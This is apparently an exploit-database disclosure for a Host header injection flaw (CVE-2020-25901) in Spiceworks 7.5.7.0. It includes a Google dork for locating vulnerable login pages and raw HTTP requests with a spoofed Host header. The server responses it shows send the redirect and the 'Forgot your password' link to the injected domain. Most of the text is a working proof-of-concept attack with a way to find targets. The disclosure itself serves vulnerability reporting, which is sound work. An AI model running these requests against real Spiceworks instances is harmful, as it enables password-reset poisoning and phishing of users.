# Exploit Title: Spiceworks 7.5 - HTTP Header Injection # Google Dork: inurl:/pro_users/login # Discovered Date: 15/09/2020 # Exploit Author: Ramikan # Vendor Homepage: https://www.spiceworks.com # Affected Version: 7.5.7.0 may be others. # Tested On Version: 7.5.7.0 # CVE : CVE-2020-25901 Vulnerability: Host Header Injection Description: Host Header Injection vulnerability may allow an attacker to spoof a particular Host header, allowing the attacker to render arbitrary links that point to a malicious website with poisoned Host header webpages. An issue was discovered in Spiceworks version 7.5.7.0 (may be affected on other versions too). The values of the 'Host' headers are implicitly set as trusted while this should be forbidden, leading to potential host header injection attack and also the affected hosts can be used for domain fronting. This means affected hosts can be used by attackers to hide behind during various other attack. Request: GET / HTTP/1.1 Host: google.com User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Connection: close Cookie: spiceworks_session=BAh7CjoPc2Vzc2lvbl9pZEkiJTU4NDg1MzhlMTAzNGEyMGNlZTRiYzI4YmZlNGVlNDljBjoGRUY6DnJldHVybl90byIGLzoQX2NzcmZfdG9rZW5JIjFyK3NZd3F4ZHpPSkFWNlhTb1ZhWVE0SE9iZzV1VGZIRmp0dURnM1ptSDlrPQY7BkZJIgpmbGFzaAY7BlRJQzonQWN0aW9uQ29udHJvbGxlcjo6Rmxhc2g6OkZsYXNoSGFzaHsABjoKQHVzZWR7ADoedXNlcl9pbnZpdGF0aW9uLnJldHVybl90byISL3dpemFyZC9zdGFydA%3D%3D--d7fabb212c9a1e683b384a24728f72fdaeffbc78; compatibility_test=testing; _gk=%7B%22t%22%3A%7B%7D%2C%22p%22%3A%7B%22cg_allow_st%22%3A%22%5B%5D%22%2C%22uuid%22%3A%22b7f707b6-f574-44bb-a766-986fc5851a03%22%7D%2C%22ab%22%3A%7B%7D%7D; opt_out=zdc; euconsent=BO3ulHHO3ulQVASABAENDWAAAAAyOAAA; _evidon_suppress_notification_cookie={"date":"\"2020-09-15T12:20:47Z\""} Upgrade-Insecure-Requests: 1 Response: HTTP/1.1 302 Found Date: Tue, 15 Sep 2020 12:46:52 GMT Cache-Control: no-cache X-Runtime: 0 Set-Cookie: spiceworks_session=BAh7CjoPc2Vzc2lvbl9pZEkiJTU4NDg1MzhlMTAzNGEyMGNlZTRiYzI4YmZlNGVlNDljBjoGRUY6DnJldHVybl90byIGLzoQX2NzcmZfdG9rZW5JIjFyK3NZd3F4ZHpPSkFWNlhTb1ZhWVE0SE9iZzV1VGZIRmp0dURnM1ptSDlrPQY7BkZJIgpmbGFzaAY7BlRJQzonQWN0aW9uQ29udHJvbGxlcjo6Rmxhc2g6OkZsYXNoSGFzaHsABjoKQHVzZWR7ADoedXNlcl9pbnZpdGF0aW9uLnJldHVybl90byISL3dpemFyZC9zdGFydA%3D%3D--d7fabb212c9a1e683b384a24728f72fdaeffbc78; path=/; HttpOnly Location: http://google.com/pro_users/login Content-Length: 99 Connection: close Content-Type: text/html; charset=utf-8 You are being redirected. Request:2 GET /pro_users/login HTTP/1.1 Host: google.com User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Connection: close Cookie: spiceworks_session=BAh7CjoPc2Vzc2lvbl9pZEkiJTU4NDg1MzhlMTAzNGEyMGNlZTRiYzI4YmZlNGVlNDljBjoGRUY6DnJldHVybl90byIGLzoQX2NzcmZfdG9rZW5JIjFyK3NZd3F4ZHpPSkFWNlhTb1ZhWVE0SE9iZzV1VGZIRmp0dURnM1ptSDlrPQY7BkZJIgpmbGFzaAY7BlRJQzonQWN0aW9uQ29udHJvbGxlcjo6Rmxhc2g6OkZsYXNoSGFzaHsABjoKQHVzZWR7ADoedXNlcl9pbnZpdGF0aW9uLnJldHVybl90byISL3dpemFyZC9zdGFydA%3D%3D--d7fabb212c9a1e683b384a24728f72fdaeffbc78; compatibility_test=testing; _gk=%7B%22t%22%3A%7B%7D%2C%22p%22%3A%7B%22cg_allow_st%22%3A%22%5B%5D%22%2C%22uuid%22%3A%22b7f707b6-f574-44bb-a766-986fc5851a03%22%7D%2C%22ab%22%3A%7B%7D%7D; opt_out=zdc; euconsent=BO3ulHHO3ulQVASABAENDWAAAAAyOAAA; _evidon_suppress_notification_cookie={"date":"\"2020-09-15T12:20:47Z\""} Upgrade-Insecure-Requests: 1 Response:2 (Forgot your password)Link replaced with domain in the header. HTTP/1.1 200 OK Date: Tue, 15 Sep 2020 12:48:26 GMT Cache-Control: private, max-age=0, must-revalidate X-UA-Compatible: IE=edge,chrome=1 X-Runtime: 0 ETag: "77c8f98180ec3f6d4f2fcc8dcd796462" Set-Cookie: compatibility_test=testing; path=/ Set-Cookie: spiceworks_session=BAh7CjoPc2Vzc2lvbl9pZEkiJTU4NDg1MzhlMTAzNGEyMGNlZTRiYzI4YmZlNGVlNDljBjoGRUY6DnJldHVybl90byIGLzoQX2NzcmZfdG9rZW5JIjFyK3NZd3F4ZHpPSkFWNlhTb1ZhWVE0SE9iZzV1VGZIRmp0dURnM1ptSDlrPQY7BkZJIgpmbGFzaAY7BlRJQzonQWN0aW9uQ29udHJvbGxlcjo6Rmxhc2g6OkZsYXNoSGFzaHsABjoKQHVzZWR7ADoedXNlcl9pbnZpdGF0aW9uLnJldHVybl90byISL3dpemFyZC9zdGFydA%3D%3D--d7fabb212c9a1e683b384a24728f72fdaeffbc78; path=/; HttpOnly Content-Length: 9875 Connection: close Content-Type: text/html; charset=utf-8 Spiceworks
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